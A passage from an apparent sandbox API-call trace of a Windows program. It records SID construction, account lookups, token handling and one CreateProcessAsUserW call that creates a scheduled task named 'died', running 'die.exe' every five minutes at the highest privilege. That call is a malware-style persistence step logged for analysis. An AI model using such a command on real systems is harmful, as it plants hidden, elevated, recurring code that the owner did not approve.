_Size=0xa | out: _Dst=0x3812f8) returned 0x3812f8 [0077.505] memcpy (in: _Dst=0x381300, _Src=0x381268, _Size=0x4 | out: _Dst=0x381300) returned 0x381300 [0077.505] free (_Block=0xeef00) [0077.505] free (_Block=0xeef60) [0077.505] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0077.506] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0077.506] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0077.506] malloc (_Size=0x18) returned 0xeef60 [0077.506] malloc (_Size=0x18) returned 0xeef00 [0077.506] SysStringLen (param_1="S-1-5") returned 0x5 [0077.506] SysStringLen (param_1="-") returned 0x1 [0077.506] memcpy (in: _Dst=0x381268, _Src=0x3812f8, _Size=0xc | out: _Dst=0x381268) returned 0x381268 [0077.506] memcpy (in: _Dst=0x381272, _Src=0x381058, _Size=0x4 | out: _Dst=0x381272) returned 0x381272 [0077.506] free (_Block=0xef020) [0077.506] free (_Block=0xeef60) [0077.506] malloc (_Size=0x18) returned 0xeef60 [0077.506] malloc (_Size=0x18) returned 0xef020 [0077.506] SysStringLen (param_1="S-1-5-") returned 0x6 [0077.506] SysStringLen (param_1="21") returned 0x2 [0077.506] memcpy (in: _Dst=0x381058, _Src=0x381268, _Size=0xe | out: _Dst=0x381058) returned 0x381058 [0077.506] memcpy (in: _Dst=0x381064, _Src=0x3812f8, _Size=0x6 | out: _Dst=0x381064) returned 0x381064 [0077.506] free (_Block=0xeef00) [0077.506] free (_Block=0xeef60) [0077.506] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0077.507] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0077.507] malloc (_Size=0x18) returned 0xeef60 [0077.507] malloc (_Size=0x18) returned 0xeef00 [0077.507] SysStringLen (param_1="S-1-5-21") returned 0x8 [0077.507] SysStringLen (param_1="-") returned 0x1 [0077.507] memcpy (in: _Dst=0x3812f8, _Src=0x381058, _Size=0x12 | out: _Dst=0x3812f8) returned 0x3812f8 [0077.507] memcpy (in: _Dst=0x381308, _Src=0x381268, _Size=0x4 | out: _Dst=0x381308) returned 0x381308 [0077.507] free (_Block=0xef020) [0077.507] free (_Block=0xeef60) [0077.507] malloc (_Size=0x18) returned 0xeef60 [0077.507] malloc (_Size=0x18) returned 0xef020 [0077.507] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0077.507] SysStringLen (param_1="4219442223") returned 0xa [0077.507] memcpy (in: _Dst=0x337af8, _Src=0x3812f8, _Size=0x14 | out: _Dst=0x337af8) returned 0x337af8 [0077.507] memcpy (in: _Dst=0x337b0a, _Src=0x381058, _Size=0x16 | out: _Dst=0x337b0a) returned 0x337b0a [0077.507] free (_Block=0xeef00) [0077.507] free (_Block=0xeef60) [0077.507] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0077.507] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0077.508] malloc (_Size=0x18) returned 0xeef60 [0077.508] malloc (_Size=0x18) returned 0xeef00 [0077.508] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0077.508] SysStringLen (param_1="-") returned 0x1 [0077.508] memcpy (in: _Dst=0x337a58, _Src=0x337af8, _Size=0x28 | out: _Dst=0x337a58) returned 0x337a58 [0077.508] memcpy (in: _Dst=0x337a7e, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x337a7e) returned 0x337a7e [0077.508] free (_Block=0xef020) [0077.508] free (_Block=0xeef60) [0077.508] malloc (_Size=0x18) returned 0xeef60 [0077.508] malloc (_Size=0x18) returned 0xef020 [0077.508] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0077.508] SysStringLen (param_1="4223814209") returned 0xa [0077.508] memcpy (in: _Dst=0x34dc88, _Src=0x337a58, _Size=0x2a | out: _Dst=0x34dc88) returned 0x34dc88 [0077.508] memcpy (in: _Dst=0x34dcb0, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x34dcb0) returned 0x34dcb0 [0077.508] free (_Block=0xeef00) [0077.508] free (_Block=0xeef60) [0077.508] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0077.508] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0077.508] malloc (_Size=0x18) returned 0xeef60 [0077.517] malloc (_Size=0x18) returned 0xeef00 [0077.517] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0077.535] SysStringLen (param_1="-") returned 0x1 [0077.535] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0077.535] memcpy (in: _Dst=0x34d994, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0077.535] free (_Block=0xef020) [0077.535] free (_Block=0xeef60) [0077.536] malloc (_Size=0x18) returned 0xeef60 [0077.536] malloc (_Size=0x18) returned 0xef020 [0077.536] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0077.536] SysStringLen (param_1="3835049652") returned 0xa [0077.536] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x40 | out: _Dst=0x34dc88) returned 0x34dc88 [0077.536] memcpy (in: _Dst=0x34dcc6, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x34dcc6) returned 0x34dcc6 [0077.536] free (_Block=0xeef00) [0077.536] free (_Block=0xeef60) [0077.536] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0077.536] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0077.536] malloc (_Size=0x18) returned 0xeef60 [0077.536] malloc (_Size=0x18) returned 0xeef00 [0077.536] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0077.536] SysStringLen (param_1="-") returned 0x1 [0077.536] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0077.536] memcpy (in: _Dst=0x34d9aa, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0077.536] free (_Block=0xef020) [0077.536] free (_Block=0xeef60) [0077.536] malloc (_Size=0x18) returned 0xeef60 [0077.536] malloc (_Size=0x18) returned 0xef020 [0077.536] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0077.536] SysStringLen (param_1="1000") returned 0x4 [0077.537] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x56 | out: _Dst=0x34dc88) returned 0x34dc88 [0077.537] memcpy (in: _Dst=0x34dcdc, _Src=0x3812f8, _Size=0xa | out: _Dst=0x34dcdc) returned 0x34dcdc [0077.537] free (_Block=0xeef00) [0077.537] free (_Block=0xeef60) [0077.537] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0077.537] malloc (_Size=0x5e) returned 0xf0800 [0077.537] free (_Block=0xef020) [0077.537] malloc (_Size=0x18) returned 0xef020 [0077.537] free (_Block=0xf0800) [0077.538] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0077.538] GetLastError () returned 0x7a [0077.538] malloc (_Size=0x14) returned 0xeef60 [0077.538] malloc (_Size=0x16) returned 0xeef00 [0077.538] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebccb4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0077.539] malloc (_Size=0x18) returned 0xeef20 [0077.539] malloc (_Size=0x18) returned 0xef0a0 [0077.539] free (_Block=0xeef60) [0077.539] free (_Block=0xeef00) [0077.539] free (_Block=0xeff00) [0077.539] free (_Block=0xef0a0) [0077.539] free (_Block=0xeef20) [0077.539] free (_Block=0xef020) [0077.540] free (_Block=0xee240) [0077.540] malloc (_Size=0x48) returned 0xed270 [0077.540] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0077.584] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0077.584] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0077.584] malloc (_Size=0x18) returned 0xef020 [0077.584] CreateEnvironmentBlock () returned 0x1 [0077.589] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0077.589] malloc (_Size=0x18) returned 0xeef20 [0077.589] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"died\" /sc MINUTE /mo 5 /tr \"'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"died\" /sc MINUTE /mo 5 /tr \"'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xc8c, dwThreadId=0xc78)) returned 1 [0077.594] CloseHandle (hObject=0x2f8) returned 1 [0077.594] CloseHandle (hObject=0x2fc) returned 1 [0077.595] free (_Block=0xeef20) [0077.595] DestroyEnvironmentBlock () returned 0x1 [0077.595] malloc (_Size=0x48) returned 0xed400 [0077.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5737e4a0, dwHighDateTime=0x1d9eb0c)) [0077.595] SetEvent (hEvent=0x1f0) returned 1 [0077.595] CloseHandle (hObject=0x244) returned 1 [0077.595] CloseHandle (hObject=0x234) returned 1 [0077.763] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0077.763] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0077.764] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0078.592] SetLastError (dwErrCode=0x0) [0078.592] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0078.592] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0078.593] SetLastError (dwErrCode=0x0) [0078.593] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0078.593] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0078.593] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0078.593] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f4f0 [0078.593] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f4f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0078.593] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f4f0 | out: hHeap=0x2e0000) returned 1 [0078.595] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0078.596] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0078.596] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0078.596] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0078.596] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0078.596] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0078.596] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0078.598] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0078.598] GetCurrentThread () returned 0xfffffffffffffffe [0078.598] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0078.599] malloc (_Size=0xd8) returned 0xf4740 [0078.599] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0078.599] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0078.599] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0078.599] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0078.600] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0078.600] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0078.600] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0078.600] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0078.600] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0078.601] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0078.601] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0078.601] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0078.602] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0078.602] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0078.602] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0078.602] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0078.602] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0078.603] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0078.603] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0078.603] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0078.603] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0078.603] malloc (_Size=0x18) returned 0xeef20 [0078.603] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x244) returned 1 [0078.603] malloc (_Size=0x48) returned 0xed2c0 [0078.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x57d29e00, dwHighDateTime=0x1d9eb0c)) [0078.604] SetEvent (hEvent=0x1f0) returned 1 [0078.609] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0078.609] GetLastError () returned 0x7a [0078.609] malloc (_Size=0x2c) returned 0xee200 [0078.609] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0078.609] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0078.609] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0078.609] malloc (_Size=0x1c) returned 0xeff60 [0078.609] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0078.609] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0078.609] malloc (_Size=0x18) returned 0xef020 [0078.609] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0078.609] malloc (_Size=0x18) returned 0xef0a0 [0078.610] malloc (_Size=0x18) returned 0xeef00 [0078.610] SysStringLen (param_1="S-1-") returned 0x4 [0078.610] SysStringLen (param_1="5") returned 0x1 [0078.610] memcpy (in: _Dst=0x3811a8, _Src=0x381148, _Size=0xa | out: _Dst=0x3811a8) returned 0x3811a8 [0078.610] memcpy (in: _Dst=0x3811b0, _Src=0x381118, _Size=0x4 | out: _Dst=0x3811b0) returned 0x3811b0 [0078.610] free (_Block=0xef020) [0078.610] free (_Block=0xef0a0) [0078.610] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0078.610] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0078.610] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0078.610] malloc (_Size=0x18) returned 0xef0a0 [0078.610] malloc (_Size=0x18) returned 0xef020 [0078.610] SysStringLen (param_1="S-1-5") returned 0x5 [0078.610] SysStringLen (param_1="-") returned 0x1 [0078.610] memcpy (in: _Dst=0x381118, _Src=0x3811a8, _Size=0xc | out: _Dst=0x381118) returned 0x381118 [0078.610] memcpy (in: _Dst=0x381122, _Src=0x381148, _Size=0x4 | out: _Dst=0x381122) returned 0x381122 [0078.610] free (_Block=0xeef00) [0078.610] free (_Block=0xef0a0) [0078.611] malloc (_Size=0x18) returned 0xef0a0 [0078.611] malloc (_Size=0x18) returned 0xeef00 [0078.611] SysStringLen (param_1="S-1-5-") returned 0x6 [0078.611] SysStringLen (param_1="21") returned 0x2 [0078.611] memcpy (in: _Dst=0x381148, _Src=0x381118, _Size=0xe | out: _Dst=0x381148) returned 0x381148 [0078.611] memcpy (in: _Dst=0x381154, _Src=0x3811a8, _Size=0x6 | out: _Dst=0x381154) returned 0x381154 [0078.611] free (_Block=0xef020) [0078.611] free (_Block=0xef0a0) [0078.611] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0078.611] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0078.611] malloc (_Size=0x18) returned 0xef0a0 [0078.611] malloc (_Size=0x18) returned 0xef020 [0078.611] SysStringLen (param_1="S-1-5-21") returned 0x8 [0078.611] SysStringLen (param_1="-") returned 0x1 [0078.611] memcpy (in: _Dst=0x3811a8, _Src=0x381148, _Size=0x12 | out: _Dst=0x3811a8) returned 0x3811a8 [0078.611] memcpy (in: _Dst=0x3811b8, _Src=0x381118, _Size=0x4 | out: _Dst=0x3811b8) returned 0x3811b8 [0078.611] free (_Block=0xeef00) [0078.611] free (_Block=0xef0a0) [0078.611] malloc (_Size=0x18) returned 0xef0a0 [0078.611] malloc (_Size=0x18) returned 0xeef00 [0078.612] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0078.612] SysStringLen (param_1="4219442223") returned 0xa [0078.612] memcpy (in: _Dst=0x338318, _Src=0x3811a8, _Size=0x14 | out: _Dst=0x338318) returned 0x338318 [0078.612] memcpy (in: _Dst=0x33832a, _Src=0x381148, _Size=0x16 | out: _Dst=0x33832a) returned 0x33832a [0078.612] free (_Block=0xef020) [0078.612] free (_Block=0xef0a0) [0078.612] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0078.612] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0078.612] malloc (_Size=0x18) returned 0xef0a0 [0078.612] malloc (_Size=0x18) returned 0xef020 [0078.612] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0078.612] SysStringLen (param_1="-") returned 0x1 [0078.612] memcpy (in: _Dst=0x337788, _Src=0x338318, _Size=0x28 | out: _Dst=0x337788) returned 0x337788 [0078.612] memcpy (in: _Dst=0x3377ae, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x3377ae) returned 0x3377ae [0078.612] free (_Block=0xeef00) [0078.612] free (_Block=0xef0a0) [0078.612] malloc (_Size=0x18) returned 0xef0a0 [0078.612] malloc (_Size=0x18) returned 0xeef00 [0078.612] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0078.612] SysStringLen (param_1="4223814209") returned 0xa [0078.613] memcpy (in: _Dst=0x34da68, _Src=0x337788, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0078.613] memcpy (in: _Dst=0x34da90, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0078.613] free (_Block=0xef020) [0078.613] free (_Block=0xef0a0) [0078.613] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0078.613] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0078.613] malloc (_Size=0x18) returned 0xef0a0 [0078.613] malloc (_Size=0x18) returned 0xef020 [0078.613] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0078.613] SysStringLen (param_1="-") returned 0x1 [0078.613] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34dd98) returned 0x34dd98 [0078.613] memcpy (in: _Dst=0x34ddd4, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34ddd4) returned 0x34ddd4 [0078.613] free (_Block=0xeef00) [0078.613] free (_Block=0xef0a0) [0078.613] malloc (_Size=0x18) returned 0xef0a0 [0078.613] malloc (_Size=0x18) returned 0xeef00 [0078.613] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0078.613] SysStringLen (param_1="3835049652") returned 0xa [0078.613] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0078.613] memcpy (in: _Dst=0x34daa6, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0078.614] free (_Block=0xef020) [0078.614] free (_Block=0xef0a0) [0078.614] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0078.614] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0078.614] malloc (_Size=0x18) returned 0xef0a0 [0078.614] malloc (_Size=0x18) returned 0xef020 [0078.614] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0078.614] SysStringLen (param_1="-") returned 0x1 [0078.614] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34dd98) returned 0x34dd98 [0078.614] memcpy (in: _Dst=0x34ddea, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34ddea) returned 0x34ddea 